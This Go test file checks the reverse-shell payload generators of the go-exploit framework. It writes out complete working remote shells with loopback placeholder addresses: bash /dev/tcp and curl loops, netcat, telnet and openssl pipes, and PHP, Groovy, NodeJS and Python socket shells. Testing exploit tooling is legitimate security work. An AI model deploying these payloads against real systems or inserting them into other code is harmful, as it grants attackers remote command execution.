package reverse_test

import (
	"fmt"
	"strings"
	"testing"

	"github.com/vulncheck-oss/go-exploit/payload/reverse"
)

func ExampleBashPayload_Default() {
	fmt.Println(reverse.Bash.Default("127.0.0.1", 1337))
	// Output:
	// bash -c 'bash &> /dev/tcp/127.0.0.1/1337 <&1'
}

func TestBashDefault(t *testing.T) {
	payload := reverse.Bash.Default("127.0.0.1", 4444)

	if payload != "bash -c 'bash &> /dev/tcp/127.0.0.1/4444 <&1'" {
		t.Fatal(payload)
	}

	t.Log(payload)
}

func TestBashHTTPShellLoop(t *testing.T) {
	payload := reverse.Bash.HTTPShellLoop("127.0.0.1", 4444, true, "vulncheck")

	if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -k -H"VC-Auth: vulncheck" https://127.0.0.1:4444 || exit)")" -k -H"VC-Auth: vulncheck" https://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
		t.Fatal(payload)
	}

	payload = reverse.Bash.HTTPShellLoop("127.0.0.1", 4444, false, "vulncheck")

	if payload != `bash -c 'while :; do curl -d "$(bash -c "$(curl -H"VC-Auth: vulncheck" http://127.0.0.1:4444 || exit)")" -H"VC-Auth: vulncheck" http://127.0.0.1:4444/rx ||exit;sleep 1;done'` {
		t.Fatal(payload)
	}

	t.Log(payload)
}

func TestNetcatGaping(t *testing.T) {
	payload := reverse.Netcat.Default("127.0.0.1", 4444)

	if payload != "nc 127.0.0.1 4444 -e /bin/sh" {
		t.Fatal(payload)
	}

	t.Log(payload)
}

func TestNetcatMknod(t *testing.T) {
	payload := reverse.Netcat.Mknod("127.0.0.1", 4444)

	// random element to this one so just look for the required bits
	if !strings.Contains(payload, "|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >") {
		t.Fatal(payload)
	}
}

func TestTelnetMknod(t *testing.T) {
	payload := reverse.Telnet.Mknod("127.0.0.1", 4444, true)

	// random element to this one so just look for the required bits
	if !strings.Contains(payload, "cd /tmp; mknod ") {
		t.Fatal(payload)
	}
	if !strings.Contains(payload, " p; sh -i < ") {
		t.Fatal(payload)
	}
	if !strings.Contains(payload, "2>&1 | telnet 127.0.0.1:4444") {
		t.Fatal(payload)
	}

	t.Log(payload)

	payload = reverse.Telnet.Mknod("127.0.0.1", 4444, false)
	if !strings.Contains(payload, "2>&1 | telnet 127.0.0.1 4444") {
		t.Fatal(payload)
	}
}

func TestTelnetMkfifo(t *testing.T) {
	payload := reverse.Telnet.Mkfifo("127.0.0.1", 4444, true)

	// random element to this one so just look for the required bits
	if !strings.Contains(payload, "cd /tmp; mkfifo ") {
		t.Fatal(payload)
	}
	if !strings.Contains(payload, "; telnet 127.0.0.1:4444 0<") {
		t.Fatal(payload)
	}

	t.Log(payload)

	payload = reverse.Telnet.Mkfifo("127.0.0.1", 4444, false)
	if !strings.Contains(payload, "; telnet 127.0.0.1 4444 0<") {
		t.Fatal(payload)
	}
}

func TestOpenSSLMknod(t *testing.T) {
	payload := reverse.OpenSSL.Mknod("127.0.0.1", 4444)

	// random element to this one so just look for the required bits
	if !strings.Contains(payload, "cd /tmp; mknod ") {
		t.Fatal(payload)
	}
	if !strings.Contains(payload, " p; sh -i < ") {
		t.Fatal(payload)
	}
	if !strings.Contains(payload, "2>&1 | openssl s_client -quiet -connect 127.0.0.1:4444") {
		t.Fatal(payload)
	}

	t.Log(payload)
}

func TestOpenSSLMkfifo(t *testing.T) {
	payload := reverse.OpenSSL.Mkfifo("127.0.0.1", 4444)

	// random element to this one so just look for the required bits
	if !strings.Contains(payload, "cd /tmp; mkfifo ") {
		t.Fatal(payload)
	}
	if !strings.Contains(payload, "; sh -i < ") {
		t.Fatal(payload)
	}
	if !strings.Contains(payload, "2>&1 | openssl s_client -quiet -connect 127.0.0.1:4444") {
		t.Fatal(payload)
	}

	t.Log(payload)
}

func TestPHPLinuxInteractive(t *testing.T) {
	payload := reverse.PHP.LinuxInteractive("127.0.0.2", 8181)
	if !strings.Contains(payload, `$sock=fsockopen("127.0.0.2",8181);$proc=proc_open("/bin/sh -i"`) {
		t.Fatal(payload)
	}
}

func TestPHPUnflattened(t *testing.T) {
	payload := reverse.PHP.Unflattened("127.0.0.1", 8989, true)
	if !strings.Contains(payload, `stream_socket_client("tls://127.0.0.1:8989",`) {
		t.Fatal(payload)
	}

	payload = reverse.PHP.Unflattened("127.0.0.1", 8989, false)
	if !strings.Contains(payload, `stream_socket_client("127.0.0.1:8989",`) {
		t.Fatal(payload)
	}
}

func TestPHPUnflattenedSelfDelete(t *testing.T) {
	payload := reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, true)
	if !strings.Contains(payload, `stream_socket_client("tls://127.0.0.1:8989",`) {
		t.Fatal(payload)
	}
	if !strings.Contains(payload, `__destruct`) {
		t.Fatal(payload)
	}

	payload = reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, false)
	if !strings.Contains(payload, `stream_socket_client("127.0.0.1:8989",`) {
		t.Fatal(payload)
	}
	if !strings.Contains(payload, `__destruct`) {
		t.Fatal(payload)
	}
}

func TestGroovyClassic(t *testing.T) {
	payload := reverse.Groovy.GroovyClassic("127.0.0.2", 9000)
	expected := `shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';` +
		`Process p=new ProcessBuilder(shell).redirectErrorStream(true).start();Socket s=new Socket('127.0.0.2',9000);` +
		`InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream()` +
		`,so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)` +
		`so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);` +
		`try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();`
	if payload != expected {
		t.Fatal(payload)
	}
}

func TestNodeJS(t *testing.T) {
	payload := reverse.Javascript.NodeJS("127.0.0.3", 1312)
	expected := `(function(){
	var net = require('net'),
		cp = require('child_process'),
		shell = "/bin/sh";
	if(process.platform == "win32") {
		shell = "cmd.exe"
	};
	var sh = cp.spawn(shell, []);
	var client = new net.Socket();
	client.connect(1312, '127.0.0.3', function(){
		client.pipe(sh.stdin);
		sh.stdout.pipe(client);
		sh.stderr.pipe(client);
	});
	return; 
})();`

	if payload != expected {
		t.Fatal(payload)
	}

	payload = reverse.Javascript.SecureNodeJS("127.0.0.4", 1312)
	expected = `(function(){
	var tls = require('tls'),
		cp = require('child_process'),
		shell = "/bin/sh";
	if(process.platform == "win32") {
		shell = "cmd.exe"
	};

	sh = cp.spawn(shell, []);
	var client = new tls.TLSSocket();
	options = {rejectUnauthorized: false}
	client.connect(1312, '127.0.0.4', options, function(){
		client.pipe(sh.stdin);
		sh.stdout.pipe(client);
		sh.stderr.pipe(client);
	});
	return; 
})();`
	if payload != expected {
		t.Fatal(payload)
	}
}

func TestPython312(t *testing.T) {
	payload := reverse.Python.SecurePython312("127.0.0.2", 9000)
	expected := `import socket
import subprocess
import ssl
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 9000))
ssls = ssl.create_default_context()
ssls.check_hostname=False
ssls.verify_mode=ssl.CERT_NONE
sslsock = ssls.wrap_socket(s)
while 1:
    data = sslsock.recv(1024).decode('UTF-8')
    if data == 'exit\n':
        break
    if len(data) > 0:
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        sslsock.send(proc.stdout.read() + proc.stderr.read())
sslsock.close()
`

	if payload != expected {
		t.Fatal(payload)
	}
}
